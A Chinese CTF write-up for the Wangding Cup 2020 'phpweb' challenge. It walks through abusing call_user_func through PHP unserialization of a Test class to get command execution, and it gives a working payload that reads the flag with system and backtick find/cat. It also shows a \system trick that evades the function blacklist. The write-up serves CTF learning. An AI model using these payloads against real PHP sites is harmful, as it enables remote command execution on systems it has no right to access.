[网鼎杯 2020 朱雀组]phpweb1

进入环境后就是一串报错和一张图片,主要是这个网页一直莫名抽搐

看源码得知是一个post请求方法,还有传入了两个参数,那就抓包看看

[网鼎杯 2020 朱雀组]phpweb1_第1张图片

 抓包后参数没有变化,还是这个

发送到重发器后,我才得知这个报错信息,原来就是,data函数的报错信息,那我们就可以猜测这个两个参数之间的关系,是函数和函数的参数

[网鼎杯 2020 朱雀组]phpweb1_第2张图片

 我们可以利用var_dump函数测试一下

发现确实存在命令执行的页面回显,那我们是不是直接可以

[网鼎杯 2020 朱雀组]phpweb1_第3张图片

本来想直接利用scandir查看当前目录下的所有文件的,但是用法出了点问题

[网鼎杯 2020 朱雀组]phpweb1_第4张图片

查看了wp,得知可以用 file_get_contents, highlight_file() ,show source()等函数读取路径下文件的内容

在这里我们只得知有一个index.php,所以我们可以查看一下index.php

func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

代码审计

这段代码的功能是接收用户输入的函数名和参数,然后调用指定的函数并返回结果。

1. 首先定义了一个数组`$disable_fun`,其中包含了贼多被禁用的函数名

2. 然后定义了一个名为`gettime()`的函数,接收两个参数:函数名和参数。该函数通过`call_user_func()`调用指定的函数,然后通过`gettype()`函数判断`$result`的类型,如果是字符串,就返回结果。如果是其他类型,则返回空字符串。

3. 接下来定义了一个名为Test的类,有两个成员变量`$p`和`$func`,分别存储日期格式和函数名。在类的析构函数`__destruct()`中,如果`$func`不为空,则调用`gettime()`方法并返回结果。

4. 接着从`$_REQUEST`数组中获取用户输入的函数名和参数,并进行一些处理。

首先将函数名转换为小写,然后检查函数名是否在禁用的函数列表中。如果函数名不在禁用列表中,则调用`gettime()`函数并返回结果。

如果函数名在禁用列表中,则输出"Hacker..."并终止程序。、

[网鼎杯 2020 朱雀组]phpweb1_第5张图片

所以如果我们进行传参,那传入的值会直接经过以上代码进行调用geetime函数,里的call_user_func 函数对输入的命令进行执行,并且会检查是否存在于黑名单,明显system是被过滤掉了的

[网鼎杯 2020 朱雀组]phpweb1_第6张图片

但是在这个类中,就不存在对传入的数据进行黑名单检测,并且也会调用命令执行的函数,所以我们可以直接利用这个类进行反序列化,实现代码执行

 序列化代码如下:

class Test {
    var $p = "ls /";
    var $func = "system";

}
$a = serialize(new Test);
echo $a

[网鼎杯 2020 朱雀组]phpweb1_第7张图片

成功实现命令执行,但是没有看到flag相关的文件,可以使用一下find看行不行

可以执行,直接扫出来一大坨 

[网鼎杯 2020 朱雀组]phpweb1_第8张图片

这玩意要看到啥时候,我们可以采取反引号将find出来的结果赋值给cat继续执行,原本根据大佬wp应该是直接cat就行,但是我出不来,这样也不错

这就可以得到flag了

最终payoad
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:24:"cat `find / -name flag*`";s:4:"func";s:6:"system";}

[网鼎杯 2020 朱雀组]phpweb1_第9张图片

 

call_user_func

`call_user_func()`函数可以用于调用各种类型的回调函数,包括普通函数、类方法或静态方法、对象的可调用方法以及匿名函数等。

[网鼎杯 2020 朱雀组]phpweb1_第10张图片

解法二

这个特别牛,system不是被过滤了吗,但是我们可以直接将system改为\system

就匹配不到了,但是可以直接执行命令,可惜没 想到这一步

[网鼎杯 2020 朱雀组]phpweb1_第11张图片

 

 

你可能感兴趣的:(反序化,安全,PHP)